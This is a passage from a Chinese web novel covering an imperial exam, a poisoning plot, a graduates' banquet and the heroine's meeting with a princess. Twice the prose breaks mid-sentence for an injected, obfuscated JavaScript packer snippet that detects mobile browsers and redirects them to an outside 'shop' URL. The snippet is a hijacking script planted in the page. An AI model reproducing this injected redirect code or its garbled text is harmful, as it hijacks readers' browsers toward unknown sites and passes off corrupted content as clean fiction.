“好多了。”李慕白苦笑,“昨夜紧张得没睡好,今早又淋了雨,这才……让谢兄见笑了。” 两人正说着,忽然听见东边号舍传来喧哗。几个衙役匆匆跑过去,不多时,抬出一个人来——那考生脸色青紫,口吐白沫,浑身抽搐。 “是癫痫!”有人惊呼。 考场里顿时骚动起来。主考官闻讯赶来,见状皱眉:“快抬出去,请大夫!” 谢青梧看着那考生被抬走,心里一沉。癫痫发作,若处理不当,可能致命。但考场规矩森严,她不能贸然上前。 正想着,李慕白忽然低声道:“谢兄,你看那人……” 顺着他的目光看去,谢青梧看见一个穿着考务服饰的中年人,正鬼鬼祟祟地往号舍深处走,手里似乎攥着什么东西。那人神色慌张,经过癫痫考生倒下的地方时,脚步明显加快。 有问题。 谢青梧给李慕白使了个眼色,两人悄悄跟了上去。那中年人走到天字号一排,左右张望,见没人注意,迅速将手里的东西塞进一个号舍的砖缝里。 做完这些,他若无其事地转身离开,迎面撞上谢青梧和李慕白。 “二位有事?”他故作镇定。 谢青梧盯着他的眼睛:“方才那位发病的考生,大人可认识?” “不、不认识。”中年人眼神闪烁,“考场之内,不要随意走动,快回自己号舍去!” 他说完匆匆走了。谢青梧走到那个号舍前,蹲下身,从砖缝里抠出一个小纸包。打开一看,里面是几粒黑色药丸。 李慕白凑过来看:“这是……” “毒药。”谢青梧闻了闻,脸色凝重,“能诱发癫痫的毒药。下在饮食里,一两个时辰后发作。” “有人要害人?”李慕白倒吸一口凉气,“那刚才发病的考生……” “可能是被下毒了。”谢青梧将药包收好,“李兄,这事先不要声张。等考试结束,我们去找主考官。” 李慕白重重点头。 第二场考策论,题目是“论漕运利弊”。谢青梧看到这题,立刻想起顾临渊查的江南盐税案,还有王崇年那个转运使。 她没有直接写漕运现状,而是从“漕”字的本义说起,水运粮也。然后笔锋一转,写漕运本为利民,何以成害?接着列举了几大弊病:一是各级官吏层层盘剥,运粮十石,到京只剩五六石;二是漕船挟带私货,甚至夹带走私盐铁;三是沿途征调民夫,耽误农时。 最后提出三条建议:一是改革漕运管理,设专门衙门,直接对户部负责;二是允许漕船带一定比例商货,但需纳税,既增加国库收入,又减少夹带;三是沿途设常备纤夫,发工钱,不扰民。 写完这些,她犹豫了一下,还是加了一句:“漕运之弊,根在吏治。若吏治清明,则百弊自消。” 这话可能会得罪人,但她觉得该说。 第二场考完,天已经黑了。雨停了,月亮从云层后露出来,清冷冷地照着贡院的屋瓦。 谢青梧在号舍里吃了干粮,正准备休息,忽然听见外面有脚步声。不是巡夜的衙役,脚步声很轻,走走停停,像是在找什么。 她警觉地坐起身,从门缝往外看。月光下,一个黑影正在各号舍间逡巡,手里拿着个小本子,不时记着什么。 是陆执。 虽然换了常服,但那个身形、那个走路的姿态,谢青梧一眼就认出来了。锦衣卫居然进了考场,还是在夜里。 她屏住呼吸,看着陆执走到她这排号舍。他在每个号舍前都停留片刻,似乎在核对什么。到她的号舍时,停留的时间格外长。 谢青梧能感觉到,陆执的目光正透过门缝往里看。她一动不动,假装睡着了。 良久,陆执离开了。 她这才松口气,背后已经出了一层冷汗。陆执到底在查什么?如果只是例行巡查,何必这么仔细? 一夜无眠。 第三场考经史时务,题目更灵活。有一道题让谢青梧沉思良久:“今有女子欲入学读书,或以为有违礼教,或以为有益教化,试论之。” 这是道送分题,也是道送命题。若按常理论,该说“女子无才便是德”,但这不是她的真心话。若说实话,又可能触怒考官。 她提笔,写下破题:“礼教者,所以正人心、美风俗也。然时移世易,礼亦当因时而变。” 然后从历史说起,引班昭续《汉书》、蔡琰作《悲愤诗》,证明女子有才无损德行。再说到现实,女子若识字,能理家、能教子、能记账,于家于国都有利。 最后她写道:“教化之本,在开民智。民不分男女,智皆当开。若因噎废食,恐失教化本意。” 写完这篇,她忽然觉得,也许这道题是特意出的,是试探,也是机会。 三场考完,已是第三日午后。考生们陆续走出贡院,个个面有菜色,脚步虚浮。但眼里都有光,那是解脱的光。 谢青梧在门口遇见李慕白。他脸色好了许多,看见她就笑:“谢兄,我那道漕运题,用了你的思路,写得痛快!” “恭喜李兄。”谢青梧也笑。 两人正要分别,李慕白忽然压低声音:“谢兄,那个药包……咱们真要去告发吗?” “要。”谢青梧道,“不然可能还有考生受害。” “可是……”李慕白犹豫,“万一牵扯到什么大人物……” “正因可能牵扯大人物,才更要告发。”谢青梧看着他,“李兄,科举是国家抡才大典,若连这里都能下毒害人,那这朝堂,还有干净地方吗?” 李慕白沉默片刻,重重点头:“好,我跟你一起去。” 他们找到主考官时,主考官正在后堂休息,听说有事禀报,有些不耐烦:“考都考完了,还有何事?” 谢青梧呈上那个药包,又将所见说了一遍。主考官听完,脸色变了:“你们确定是考务人员?” “确定。”谢青梧道,“那人穿着考务服饰,对考场很熟悉。而且他藏药的地方,恰好在天字三号,那是刘瑾刘公子的号舍。” 主考官霍然起身:“刘瑾?国子监祭酒的外甥?” “是。” 主考官在屋里踱了几步,忽然停下:“这事……你们先不要声张。药包留下,本官自会查办。” 这话说得敷衍。谢青梧心里明白,主考官是不想惹麻烦。刘瑾的背景,确实让人忌惮。 她和李慕白退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946684|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出后堂。李慕白叹气:“看来这事要不了了之了。” “未必。”谢青梧看向贡院大门外,“主考官不想管,有人想管。” 门外,陆执正站在那里,似乎在等人。见她出来,他走了过来。 “谢公子考完了?”陆执语气平淡。 “陆大人是在等我?”谢青梧直视他。 陆执没否认:“有点事想问。关于考场里……某些异常。” 谢青梧心里一动,将药包的事简单说了。陆执听完,眼神锐利起来:“药包现在在谁手里?” “主考官那儿。” 陆执点点头,转身就要走。谢青梧叫住他:“陆大人,那个发病的考生……” “已经救过来了。”陆执回头,“大夫说,是中了毒。” 果然。谢青梧握紧拳头。 陆执看着她:“谢公子,这事你做得对。但往后,这种事少管。” “为什么?” “因为你管不起。”陆执淡淡道,“刘瑾背后的人,比你想象的多。这次是你运气好,下次未必。” 他说完走了,背影消失在贡院外的长街。 李慕白走过来,担忧道:“谢兄,你得罪人了。” “不得罪也得罪了。”谢青梧苦笑,“走吧,回家好好睡一觉。” 两人在街口分别。谢青梧独自往住处走,秋风吹过,满街落叶。考完了,但心里并不轻松。 回到小院,慕容芷已经备好了热水热饭。谢青梧泡了个澡,换了干净衣裳,坐在灯下发呆。 “公子,考得如何?”慕容芷问。 “不知道。”谢青梧实话实说,“该写的都写了,能不能中,看天意。” 其实她心里有数,那几篇文章,篇篇都是心里话,但也篇篇都可能惹祸。尤其最后那道女子入学的题,她几乎是把心里想法全写出来了。 正想着,院门被敲响了。 慕容芷去开门,回来时手里拿着封信:“公子,有人送来的,没留名字。” 谢青梧拆开信,里面只有一行字:“文章已阅,静待佳音。慎言。”字迹清峻,她认得,是严博士的笔迹。 严博士阅过她的文章?这么说,考官里有他的人?或者,严博士本人就是考官之一? 她烧了信,心里却更乱了。 这一夜,她睡得不安稳。梦里都是考场的事:发病的考生,藏药的中年人,陆执锐利的眼神,还有严博士那句“慎言”。 三天后,放榜。 谢青梧没去看,在院里等消息。慕容芷去了,半晌才回来,脸色古怪。 “中了?”谢青梧问。 “中了。”慕容芷点头,“第七名。” 第七名。不算高,但也不低。秋闱取八十名举人,第七名算是上等了。 谢青梧松了口气,又问:“前六名都是谁?” “第一名是刘瑾。”慕容芷皱眉,“第二名李慕白,第三名赵文启……第六名是沈知微。” 刘瑾第一?谢青梧一怔。以刘瑾的才学,能中举就不错了,怎么会是第一? 正疑惑着,院门又被敲响了。这次来的是李慕白,一脸喜色:“谢兄!我中了第二!多亏你那篇漕运文章!” “恭喜李兄。”谢青梧拱手,“不过刘瑾第一……” 李慕白笑容淡了,压低声音:“我也觉得蹊跷。刘瑾那篇文章我看了,平平无奇,怎么可能第一?而且……”他顿了顿,“我听说,主考官是刘瑾舅舅的门生。” 果然。谢青梧心里冷笑。科举的公平,从来都是相对的。 “算了,能中就好。”李慕白拍拍她的肩,“谢兄第七,也很不错了。明年会试,咱们再一较高下!” 送走李慕白,谢青梧坐在院里,看着满地黄叶。第七名,这个名次很微妙,既显示了她有才学,又不至于太扎眼。是有人故意这么排的吗? 正想着,第三批访客到了。 是赵文启,带着几个家丁,抬着两个大箱子。一进门就笑:“怀瑾啊,恭喜恭喜!第七名,厉害!” “赵公子第三名,更厉害。”谢青梧道。 “那是运气。”赵文启摆手,让家丁打开箱子,里面是绸缎、文房四宝、还有一封银子,“一点贺礼,不成敬意。” 谢青梧推辞不受。赵文启硬塞给她:“拿着吧,往后咱们就是同年了,互相照应。” 这话说得直白——同年之谊,是官场上重要的人脉。赵文启这是在拉拢她。 送走赵文启,天已经黑了。谢青梧看着那两箱礼物,心里五味杂陈。 中了举,就有了做官的资格,也有了更多的人情往来。这条路,她走得战战兢兢。 夜里,她坐在灯下,提笔给江州的周子砚写信。写到一半,忽然停了笔。 远处隐约传来丝竹声,是哪个酒楼在庆祝。京城就是这样,有人欢喜有人愁。 她想起考场里那个发病的考生。 这条路,比她想象的更难走。 但她已经走到了这里,就不能回头。 19. 举人宴 举人宴设在琼林苑。 这是朝廷为新科举人设的惯例宴席,虽比不上殿试后的琼林宴隆重,但也算是一桩盛事。苑内张灯结彩,礼乐齐鸣,八十一张桌案排成九列,取“九九归一,天下英才”之意。 谢青梧到得早,坐在自己的席位上,第七列第一席。按规矩,排名越前离主位越近,刘瑾作为解元,自然坐在第一列首位。她远远望过去,看见刘瑾正与几位官员谈笑风生,意气风发。 陆续有新科举人到场。李慕白在她对面坐下,压低声音:“谢兄看见没?刘瑾旁边那位,是吏部文选司的郎中,管官员铨选的。” 谢青梧点头。科举之后就是授官,刘瑾这是在提前铺路。 赵文启也来了,坐在她旁边,笑嘻嘻道:“怀瑾,今儿可是好日子。一会儿少喝点酒,别失态。” “多谢赵兄提醒。” 说话间,礼乐声起,主考官和几位副考官入席。主考官姓吴,是礼部侍郎,清瘦矍铄,目光如电。他举杯说了几句场面话,无非是勉励众举人“忠心报国”“不负所学”,众人起身应和。 酒过三巡,气氛活络起来。举人们互相敬酒,交换名帖,谈论文章。谢青梧安静坐着,偶尔与人应酬几句,并不多话。 但有人不想让她安静。 刘瑾端着酒杯走过来,身后跟着几个跟班。他停在谢青梧席前,举杯笑道:“谢公子,久仰大名。今日同席,敬你一杯。” 谢青梧起身:“刘解元客气。” 两人对饮一杯。刘瑾却不走,反而在她席旁坐下:“谢公子那篇漕运文章,我拜读了。写得……很有见地。” 这话听着像夸赞,但语气不对。谢青梧不动声色:“刘解元过奖。” “不过奖。”刘瑾晃着酒杯,“只是我有些不解,谢公子一个江州人,怎么对漕运之事如此熟悉?连沿途征调民夫、纤夫工钱这些细节都清楚?” 周围渐渐安静下来,不少人都竖起耳朵听。 谢青梧放下酒杯:“学生曾在江州码头帮工记账,见过漕船装卸。至于纤夫工钱,是听来往客商所说。刘解元若有疑问,可查证。” “查证倒不必。”刘瑾笑得意味深长,“只是觉得谢公子见识广博,不像寻常寒门学子。听说……谢公子在江州时,还帮一位林姓女商人打官司?” 这话一出,席间响起低语。女子经商本就惹人议论,何况还涉及官司。 谢青梧神色不变:“路见不平而已。律法之前,男女皆可为己申辩。” “好一个‘路见不平’。”刘瑾站起身,声音抬高,“只是我有些好奇,谢公子这般热心为女子出头,文章里又处处为女子说话,莫非……有什么特别的缘故?” 这话问得阴毒。席上众人都看向谢青梧,眼神各异。 李慕白想站起来说话,被谢青梧用眼神制止。她缓缓起身,看着刘瑾:“刘解元这话,倒让我想起一件旧事。” “哦?” “前朝大儒沈墨沈山长,曾为一位蒙冤的女乐师作证,助其脱罪。”谢青梧声音清朗,“时人讥他‘有损清誉’,沈山长答:‘见义不为,方损清誉’。学生不才,不敢比沈山长,但以为,见不平而鸣,无关男女,只问是非。” 她顿了顿:“倒是刘解元,如此在意学生为谁说话,莫非……有什么特别的忌讳?” 刘瑾脸色一僵。 席间响起几声低笑。沈墨是当朝大儒,门生故旧遍布朝堂,拿他来压人,刘瑾不敢反驳。 “谢公子好口才。”刘瑾干笑两声,悻悻地走了。 一场风波暂时平息。但谢青梧知道,刘瑾不会善罢甘休。 宴至中途,吴侍郎忽然开口:“今科秋闱,有几篇文章写得不错。其中一篇论女子入学,虽观点新奇,但言之有物。是哪位举人所写?” 众人都看向谢青梧。 她起身行礼:“是学生所作。” 吴侍郎打量她:“你叫谢怀瑾?” “是。” “文章我看过了。”吴侍郎缓缓道,“观点大胆,但说理还算清楚。只是……太过超前。若殿试时还这么写,恐怕要吃亏。” 这话是提点。谢青梧躬身:“多谢大人教诲。” “教诲谈不上。”吴侍郎摆摆手,“只是提醒你一句,文章可以写,但要看时机。有些话,现在说太早。” 这话和严博士说的一样。谢青梧心里明白,这位吴侍郎是在委婉地告诉她:你的想法我看到了,但别急着说出来。 宴席继续。谢青梧坐回席间,感觉到更多目光落在身上,好奇的、探究的、忌惮的。 散席时,李慕白走过来,低声道:“谢兄,你今天得罪刘瑾了。他那人心眼小,肯定会报复。” “我知道。”谢青梧看着远处刘瑾与人谈笑的背影,“但他要报复,我也没办法。” “你要小心。”李慕白叮嘱,“最好……最近少出门。” 谢青梧点头应下。 走出琼林苑时,天色已暗。秋风吹过,带起满地落叶。她正要上马车,忽然被人叫住。 “谢公子留步。” 回头一看,是一个穿着普通的布衣,但气质沉静。 是陆执。谢青梧心头一跳,“陆大人找学生有事?” “一点小事。”陆执语气平淡,“想问问谢公子,可认识江州府一个叫谢明远的人?” 谢明远。她的嫡兄。 谢青梧握紧名帖:“认识。是学生的兄长。” “哦?”陆执挑眉,“那谢公子可知道,你兄长最近在江州四处打听你的消息?还托人查你的户籍?” 来了。谢青梧深吸口气:“学生不知。自进京后,与家中联系甚少。” “是吗。”陆执看着她,“可据我所知,谢明远查的不仅是你的消息,还有……你生母的事。” 这话像根针,扎进谢青梧心里。她生母是妾室,早逝,生前在谢家没什么存在感。谢明远查这个做什么? “陆大人为何告诉学生这些?”她问。 “因为我也在查。”陆执直言不讳,“王崇年的案子牵扯甚广,你兄长似乎与王家有些往来。至于查你生母……或许是想找你的把柄。” 把柄。谢青梧明白了。谢明远一直不甘心她这个庶子出头,如今她中了举,更让他嫉恨。查她生母,无非是想找出什么见不得光的事,好毁她前程。 “多谢陆大人告知。”她拱手。 “不必谢我。”陆执道,“我只是提醒你,你兄长那边,我会继续查。但你自己也要小心。有些人,为了利益,什么事都做得出来。” 他说完,转身走了,很快消失在夜色中。 谢青梧站在原地,许久没动。秋风吹过,她觉得有点冷。 慕容芷走过来,给她披上披风:“公子,先回去吧。” 马车里,谢青梧闭目养神。脑海里却翻腾着各种念头:刘瑾的挑衅、吴侍郎的提醒、陆执的警告、谢明远的动作…… 一张网,正从四面八方罩过来。 回到住处,她刚下马车,就看见院门外站着个人。月色下,那身影窈窕,披着淡青斗篷。 是云知意。 “云姑娘?”谢青梧讶然,“这么晚了……” “冒昧来访,还请谢公子见谅。”云知意微微福身,“有件事,必须今晚告诉公子。” 谢青梧将她请进屋。慕容芷端上热茶,退到门外守着。 云知意摘掉斗篷帽,露出一张清丽但苍白的脸。她没喝茶,直截了当道:“谢公子,你被人盯上了。” “我知道。”谢青梧道,“刘瑾,还有我兄长。” “不止。”云知意摇头,“还有宫里的人。” 宫里?谢青梧心头一紧。 “今日举人宴,有位公公在场,你看见了吗?”云知意问。 谢青梧回想起来,宴席末尾确实有个太监打扮的人进来,在吴侍郎耳边说了几句话,又悄悄退下。当时她没在意。 “那是三公主身边的管事太监。”云知意压低声音,“三公主萧玉衡,最爱结交才子。你的文章,已经传到她耳中了。” 三公主。谢青梧记起来了。 “公主看中学生的文章,是好事还是坏事?”她问。 “不好说。”云知意神色凝重,“三公主确实爱才,但她身后是皇后一系,与太子、二皇子都不和。你若被她招揽,就等于卷入了夺嫡之争。” 夺嫡。这两个字像千斤重担。谢青梧沉默了。 云知意继续道:“还有一件事,刘瑾今天在宴上挑衅你,不是偶然。他舅舅,国子监祭酒刘庸,是二皇子的人。二皇子最近在拉拢寒门士子,你的文章和出身,正是他们想要的。” “所以他们让刘瑾试探我?” “是。”云知意点头,“你若服软,他们就会拉拢你;你若强硬,他们就会打压你。今日你没服软,接下来……恐怕会有动作。” 谢青梧揉了揉眉心。京城这潭水,比她想的还要浑。 “云姑娘为何告诉我这些?”她抬眼问。 云知意沉默片刻:“因为我觉得,你和他们不一样。” “哪里不一样?” “你眼里有真心。”云知意轻声道,“那些夸夸其谈的才子,嘴里说着为国为民,心里想的是功名利禄。你不是。你是真的相信一些东西,相信女子可以读书,相信寒门可以出头,相信这世道能变好。” 她顿了顿:“这样的人,不该被那些龌龊手段毁了。” 谢青梧看着她,忽然问:“云姑娘到底是什么人?” 一个乐坊琴师,怎么会知道这么多宫闱秘事、朝堂动向? 云知意笑了,笑容里有一丝苦涩:“我是个……不该知道这么多的人。但既然知道了,就不能装不知道。” 她起身:“谢公子,我能说的就这些。往后如何,看你自己抉择。但记住,在京城,有时候不选,也是一种选。” 她重新披上斗篷,走到门口时又回头:“若真遇到难处,可来春风阁找我。我能帮的,一定帮。” 送走云知意,谢青梧坐在灯下,一夜无眠。 第二天一早,她去了国子监找严博士。 严博士正在整理古籍,见她来了,也不意外:“坐吧。昨晚没睡好?” “学生有事请教。”谢青梧直接道,“若三公主 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严博士拍拍她的肩:“我知道你不甘心。但这就是现实,你想做事,就得先活下来。活下来,就需要权力。权力从哪儿来?要么自己挣,要么别人给。你现在还没能力自己挣,只能先借别人的力。” 这话说得残酷,但是实话。 “学生明白了。”谢青梧起身,“多谢先生指点。” 从国子监出来,她没回住处,而是去了春风阁。 云知意正在练琴,见她来了,微微一笑:“谢公子想通了?” “想通了。”谢青梧坐下,“请云姑娘指条路。” 云知意停下抚琴:“三公主每旬五在城西慈济堂施粥,明日正是初五。你若‘偶遇’,或许有机会。” “慈济堂……” “那是三公主办的善堂,收养孤寡,施医赠药。”云知意道,“公主每月都会去一次,亲自施粥。你若在那里出现,不会太突兀。” 谢青梧点头:“多谢。” “不必谢我。”云知意重新抚琴,“我只是……不想看到又一个有真心的人,被这世道磨平了棱角。” 琴声起,是一曲《广陵散》。慷慨悲凉,有金戈铁马之声。 谢青梧静静听着,直到一曲终了。 “云姑娘的琴艺,果然了得。”她道。 云知意抬眸:“琴艺再好,也不过是取悦人的玩意儿。比不得谢公子的文章,能说真话。” 这话里有不甘。谢青梧看着她:“云姑娘若想,也可以做更多。” 云知意笑了,笑容里有苦涩:“我一个乐籍女子,能做什么?弹琴,陪笑,等人赏赐。这就是我的命。” “命是可以改的。”谢青梧轻声道。 云知意愣住,看着她,良久,才低声道:“谢公子,你这个人……真是让人忍不住想相信。” 从春风阁出来,已是午后。谢青梧在街上慢慢走,想着明日该如何“偶遇”三公主。 路过一家书局时,她看见橱窗里摆着新刻的《秋闱佳作集》。翻开一看,她的三篇文章都在里面,但被删改了不少,尖锐的词句被抹去,犀利的观点被软化。 她合上书,心里明白:这是吴侍郎或者严博士做的,在保护她。 但被删改的文章,还是她的文章吗? 正想着,身后忽然传来马蹄声。回头一看,竟是陆执,骑着马停在街边。 “谢公子,”陆执翻身下马,“巧啊。” “陆大人。”谢青梧拱手。 陆执看了眼她手里的书:“在看自己的文章?” “随便翻翻。” “翻到什么了?”陆执问。 “翻到……有些话不能说。”谢青梧直言。 陆执笑了:“能明白这点,说明你长进了。”他从怀里掏出封信,“这个给你。” 谢青梧接过,信封上没写字。她拆开一看,里面是几张纸,是她生母在谢家的旧档记录,还有谢明远最近与王家往来的证据。 “这……”她抬头。 “我说过会查。”陆执道,“这些你留着,或许有用。至于你兄长那边……我已经敲打过了,他暂时不会乱来。” “陆大人为何帮我?” 陆执看着街上来往的行人,淡淡道:“锦衣卫不只是抓人,也要防着有人祸乱朝纲。王崇年之流,贪赃枉法,陷害忠良,该查。你……至少目前看,还算个正直的人。” 他顿了顿:“正直的人,在京城活不长。但多活一个,总比少一个好。” 这话说得别扭,但谢青梧听出了里面的意思。 “多谢陆大人。” “别谢太早。”陆执翻身上马,“我帮你,是因为你有用。若哪天你没用了,或者走错了路,我照样抓你。” 他说完,打马走了。 谢青梧看着手里的信纸,心里五味杂陈。 回住处路上,她路过慈济堂。那是一座不大的院子,门开着,里面有几个老人在晒太阳,几个孩童在玩耍。门楣上挂着匾额,写着“慈济众生”四个字,落款是“玉衡”。 三公主的字,清秀中带着刚劲。 谢青梧在门外站了片刻,转身离开。 明日,她要来这里。 20. 公主初遇 慈济堂在城西一条清净的巷子里。 谢青梧到得早,天刚蒙蒙亮。院子里已经热闹起来,几个妇人正在灶台前熬粥,米香混着柴火气飘满院子;几个半大的孩子在扫地、搬柴;角落里坐着几位老人,边晒太阳边拣豆子。 她没急着进去,在门口看了会儿。这里和她想象的不太一样,虽然简陋,但干净整齐;虽然忙碌,但井然有序。一个穿粗布衣裳的妇人正耐心教一个小姑娘认字,手指在沙盘上一笔一划写着。 “公子是来帮忙的?”一个老嬷嬷从屋里出来,打量着她。 谢青梧拱手:“学生谢怀瑾,听说慈济堂需要人手,想来尽份力。” 老嬷嬷笑了:“读书人来这儿的少。公子不嫌弃的话,帮孩子们认几个字吧。” 她被领到院东角的棚子下,那里摆着几张小桌,五六个孩子围坐着,最大的不过十岁,最小的才六七岁。见来了陌生人,都好奇地看着她。 “这位是谢先生,今儿教你们认字。”老嬷嬷说完就去忙了。 谢青梧在桌前坐下,看着这些孩子。有男有女,都穿着打补丁但整洁的衣裳,眼睛亮晶晶的。 “先生,”一个扎着羊角辫的小姑娘怯生生问,“您真是举人老爷吗?” “是。”谢青梧微笑,“但在这里,我就是教你们认字的先生。你们叫什么名字?” 孩子们依次报了名字。她记下,然后问:“你们想学什么字?” “学写自己的名字!”一个虎头虎脑的男孩抢着说。 “好,那就先学名字。” 她从最简单的教起,手把手纠正握笔姿势,一笔一划示范。孩子们学得很认真,小手握着笔,在沙盘上歪歪扭扭地写。那个叫小草的姑娘写得最好,已经能把自己的名字写工整了。 教了一个时辰,粥熬好了。孩子们欢呼着跑去排队,谢青梧帮着分粥。一碗碗热腾腾的米粥递出去,换来一声声稚嫩的“谢谢先生”。 忙到快晌午时,门外忽然传来马蹄声。老嬷嬷脸色一变:“快,收拾收拾,公主来了!” 院子里顿时忙碌起来。孩子们被领回屋,桌椅摆正,地上的杂物迅速清走。谢青梧跟着众人站在院门两侧,垂首等候。 马蹄声停在门外。先是一个管事太监进来,扫视一圈,然后侧身让开。一位身着淡紫宫装的女子缓步走进来,身后跟着两名宫女。 这就是三公主萧玉衡。 谢青梧垂着眼,只看见一双绣着银线的宫鞋从面前走过。公主的脚步声很轻,停在院子中央。 “都起来吧。”声音清润,带着些许威严。 众人起身。谢青梧这才抬眼看去,公主约莫十七八岁,眉眼清丽,但神色间有种超越年龄的沉稳。她没戴多少首饰,只一支白玉簪绾发,更显得气质出尘。 “今日粥可够?”萧玉衡问老嬷嬷。 “回公主,够的,还多备了十斤米。” “嗯。”公主点点头,目光扫过院子,最后落在谢青梧身上,“这位是……” 老嬷嬷忙道:“这是谢公子,今儿来帮忙教孩子们认字的。” 萧玉衡的目光在她身上停留片刻:“谢怀瑾?” 谢青梧躬身:“学生见过公主。” “本宫读过你的文章。”萧玉衡淡淡道,“那篇论女子入学的,写得不错。” 这话说得随意,但谢青梧心里一紧。公主果然知道她,而且特意提起那篇文章。 “学生拙作,让公主见笑了。” “见笑倒不至于。”萧玉衡走到棚子下,看着沙盘上孩子们写的字,“这些字是你教的?” “是。” “教得挺好。”公主拿起一根木棍,在沙盘上写了个“安”字,“平安的安。这个字简单,寓意也好。你可以教他们这个。” 谢青梧看着她写字的姿势,很标准,是受过良好教育的。而且公主亲自示范,说明她真在乎这些孩子学什么。 “学生记下了。” 萧玉衡放下木棍,转过身看着她:“谢公子今日来慈济堂,是偶然还是有意?” 这话问得直接。谢青梧顿了顿:“是有意。学生听说慈济堂收容孤寡、施教助学,心生敬佩,故来帮忙。” “只是帮忙?”公主挑眉,“没有别的想法?” 院子里安静下来。老嬷嬷和几个妇人都低下头,装作忙碌。 谢青梧抬眼,直视公主:“若说完全没有,那是欺瞒。学生确实想见公主一面。” “为何?” “因为公主做的事,学生佩服。”谢青梧坦然道,“这慈济堂,这施教助学,不是摆样子。公主是真想为百姓做点事。” 萧玉衡笑了,这次是真心的笑:“你倒敢说。不过你说得对,本宫做这些,不是为了沽名钓誉。” 她走到院中的石凳上坐下,示意谢青梧也坐:“既然来了,聊聊吧。你那篇文章里说,女子识字有益家国。具体说说,怎么个有益法?” 这是考校了。谢青梧在她对面坐下,略一思索:“学生以为,益处有三。” “其一,女子识字能理家。记账、管家、教子,都需要识字。一个识字的主母,能把家管得更好。” “其二,女子识字能传承。母亲是孩子的第一任先生,若母亲识字,孩子启蒙就早,成才的机会也大。” “其三……”她顿了顿,“女子识字能自立。若遇变故,不至于任人摆布。” 萧玉衡静静听着,手指轻轻敲着石桌:“第三点,你写文章时可没说得这么直白。” “当时有所顾忌。” “现在为何不忌了?” “因为面对的是公主。”谢青梧道,“公主办慈济堂、收容孤寡女子,想必明白女子若无依无靠,处境有多艰难。” 萧玉衡沉默片刻:“你说得对。本宫见过太多女子,丈夫一死,家产被夺,只能流落街头。若有识字之能,至少能当个账房、绣娘,养活自己。” 她看着谢青梧:“但这世道,女子要自立,难。别说自立,就是想读书,都有人指指点点。” “所以才需要有人先做。”谢青梧道,“公主已经在做了。这慈济堂里教女子识字,就是开端。” “开端容易,坚持难。”萧玉衡叹气,“朝中那些老臣,整日说什么‘牝鸡司晨’‘有违礼教’。本宫每做一件事,都有人上书弹劾。” 这话说得推心置腹。谢青梧心里明白,公主这是在试探,试探她的态度,也试探她的胆量。 “学生以为,”她缓缓道,“做事总会有人反对。关键是做的事对不对,有没有用。若是对的、有用的,就该坚持。” “哪怕得罪人?” “不得罪人,做不成事。” 萧玉衡盯着她看了许久,忽然道:“谢怀瑾,你知道本宫为何关注你吗?” “学生不知。” “因为你敢说真话。”公主站起身,“朝中那些人,要么阿谀奉承,要么明哲保身。敢像你这样说话的,不多。” 她走到院中的老槐树下,仰头看着枝叶:“本宫有个想法,想办个女学,专门教女子读书识字。但阻力太大,一直没能成。” 谢青梧心头一跳。女学,这正是她心中所想。 “公主若真想办,学生愿尽绵薄之力。” 萧玉衡回头看她:“你?一个举人,无权无势,能做什么?” “学生可以教书。”谢青梧道,“也可以写文章,为女学正名。还可以联络志同道合之人,一起推动。” “志同道合……”公主轻笑,“你觉得,这京城里,有多少人真正认同女子该读书?” “不多,但总有。”谢青梧想起严博士,想起徐博士,想起那些在慈济堂教字的妇人,“星火虽微,可以燎原。” “又是星火。”萧玉衡眼神复杂,“你这把火,烧得倒是旺。” 她走回石桌前:“本宫可以给你一个机会。明年春,慈济堂会开个识字班,专门收女子。你来教,如何?” “学生愿意。” “但有个条件。”公主正色道,“这事不能声张。对外就说,是教慈济堂的孤儿识字。若有人问起,就说本宫怜惜孤儿,与你无关。” 这是在保护她。谢青梧心里清楚,躬身道:“学生明白。” “明白就好。”萧玉衡从袖中取出一枚玉佩,递过来,“这个你拿着。若遇到麻烦,可持此玉佩来公主府。” 谢青梧接过。玉佩温润,刻着简单的云纹,没有公主印记,但质地极好。 “多谢公主。” “不必谢。”萧玉衡摆摆手,“本宫帮你,也是在帮自己。你若真能把女学办起来,对本宫也是好事。” 她说得坦诚。谢青梧喜欢这种坦诚,不虚伪,不掩饰,各取所需,但目标一致。 正说着,管事太监匆匆进来,在公主耳边低语几句。萧玉衡脸色微变,但很快恢复平静。 “本宫有事,先走了。”她起身,“谢公子,记住今日的话。女学之事,徐徐图之,不可急躁。” “学生谨记。” 公主一行人匆匆离去。院子里又恢复了忙碌,但气氛明显不同了,老嬷嬷看谢青梧的眼神多了几分恭敬,孩子们也围上来,七嘴八舌地问:“先生,公主跟你说了什么呀?” “公主夸你们字写得好。”谢青梧摸摸小草的头,“要继续努力。” 她在慈济堂待到傍晚,又教孩子们认了几个字,帮忙收拾了院子,才告辞离开。 走出巷子时,天色已暗。她没急着回住处,在街边慢慢走,想着今天的事。 公主比她想象的更务实,也更果断。女学的事,公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946686|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主想了很久,只是缺一个契机,缺一个敢出头的人。 现在,她成了那个人。 正想着,身后传来脚步声。谢青梧警觉地回头,却看见一个熟悉的身影——是云知意,披着斗篷,从暗处走出来。 “云姑娘?”她讶然,“你怎么在这儿?” “路过。”云知意走到她身边,语气平静,“听说你今天去慈济堂了?” “是。” “见到公主了?” “见到了。” 云知意点点头:“公主给了你玉佩?” 